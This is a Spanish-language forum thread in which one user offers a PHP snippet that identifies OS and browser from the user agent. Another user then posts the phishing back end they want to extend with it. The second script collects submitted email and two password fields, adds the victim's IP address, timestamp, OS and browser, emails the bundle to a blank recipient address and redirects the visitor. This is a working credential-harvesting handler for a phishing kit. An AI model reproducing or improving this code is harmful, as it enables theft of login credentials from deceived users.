You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Deberás modificarlo un poco para que lo muestre como tú desees.
Te dejo un snippet funcional:Código: php
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
function getOS() {
global $user_agent;
$os_platform = "Unknown OS Platform";
$os_array = array(
'/windows nt 10/i' => 'Windows 10',
'/windows nt 6.3/i' => 'Windows 8.1',
'/windows nt 6.2/i' => 'Windows 8',
'/windows nt 6.1/i' => 'Windows 7',
'/windows nt 6.0/i' => 'Windows Vista',
'/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
'/windows nt 5.1/i' => 'Windows XP',
'/windows xp/i' => 'Windows XP',
'/windows nt 5.0/i' => 'Windows 2000',
'/windows me/i' => 'Windows ME',
'/win98/i' => 'Windows 98',
'/win95/i' => 'Windows 95',
'/win16/i' => 'Windows 3.11',
'/macintosh|mac os x/i' => 'Mac OS X',
'/mac_powerpc/i' => 'Mac OS 9',
'/linux/i' => 'Linux',
'/ubuntu/i' => 'Ubuntu',
'/iphone/i' => 'iPhone',
'/ipod/i' => 'iPod',
'/ipad/i' => 'iPad',
'/android/i' => 'Android',
'/blackberry/i' => 'BlackBerry',
'/webos/i' => 'Mobile'
);
foreach ($os_array as $regex => $value) {
if (preg_match($regex, $user_agent)) {
$os_platform = $value;
}
}
return $os_platform;
}
function getBrowser() {
global $user_agent;
$browser = "Unknown Browser";
$browser_array = array(
'/msie/i' => 'Internet Explorer',
'/firefox/i' => 'Firefox',
'/safari/i' => 'Safari',
'/chrome/i' => 'Chrome',
'/opera/i' => 'Opera',
'/netscape/i' => 'Netscape',
'/maxthon/i' => 'Maxthon',
'/konqueror/i' => 'Konqueror',
'/mobile/i' => 'Handheld Browser'
);
foreach ($browser_array as $regex => $value) {
if (preg_match($regex, $user_agent)) {
$browser = $value;
}
}
return $browser;
}
$user_os = getOS();
$user_browser = getBrowser();
$device_details = "<strong>Browser: </strong>".$user_browser."<br /><strong>Operating System: </strong>".$user_os."";
print_r($device_details);
echo("<br /><br /><br />".$_SERVER['HTTP_USER_AGENT']."");
?>
realmente jolla amigo y gracias pero no se como agregar esa funcion al primer ejemplo, ya que el primer ejemplo solo detecta s.o es de decir si es windows u linux, ya que es obio que usa windows solo queria que detecte la version del windows, aqui el primer ejemplo:
<?php
/** * Función para detectar el sistema operativo, navegador y versión del mismo */
/** * Funcion que devuelve un array con los valores: * os => sistema operativo * browser => navegador * version => version del navegador */
function detect(){
$browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
$os=array("WIN","MAC","LINUX");
# definimos unos valores por defecto para el navegador y el sistema operativo
$info['browser'] = "OTHER"; $info['os'] = "OTHER";
# buscamos el navegador con su sistema operativo
foreach($browser as $parent) {
$s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
$f = $s + strlen($parent);
$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);
$version = preg_replace('/[^0-9,.]/','',$version);
if ($s) {
$info['browser'] = $parent;
$info['version'] = $version;
}
}
# obtenemos el sistema operativo
foreach($os as $val){
if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
$info['os'] = $val;
}
# devolvemos el array de valores
return $info;
}
function fecha(){
$horas = date ( "h:i:s A");
$mes = date("n");
$mesArray = array( 1 => "Enero", 2 => "Febrero", 3 => "Marzo", 4 => "Abril", 5 => "Mayo", 6 => "Junio", 7 => "Julio", 8 => "Agosto", 9 => "Septiembre", 10 => "Octubre", 11 => "Noviembre", 12 => "Diciembre" );
$semana = date("D");
$semanaArray = array( "Mon" => "Lunes", "Tue" => "Martes", "Wed" => "Miercoles", "Thu" => "Jueves", "Fri" => "Viernes", "Sat" => "Sábado", "Sun" => "Domingo", );
$mesReturn = $mesArray[$mes];
$semanaReturn = $semanaArray[$semana];
$dia = date("d"); $anio = date ("Y");
return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas;
}
$xfecha = fecha();
$info = detect();
$message .= "-------------- | xxxxxx | -----------------------\n";
$message .= "Login: ".$_POST['email']."\n";
$message .= "Password: ".$_POST['clave']."\n";
$message .= "Password: ".$_POST['clave2']."\n";
$message .= $ip = getenv("REMOTE_ADDR")."\n";
$message .= $xfecha."\n";
$message .= "SO: ".$info["os"]."\n";
$message .= "Navegador: ".$info["browser"]."\n";
$message .= "Versión: ".$info["version"]."\n";
$message .= "-------------- xxxx xxxxx -----------------------\n";
$to="";
$subject="";
$from="";
if(mail($to,$subject,$message,$from))
header("Location:");
?>
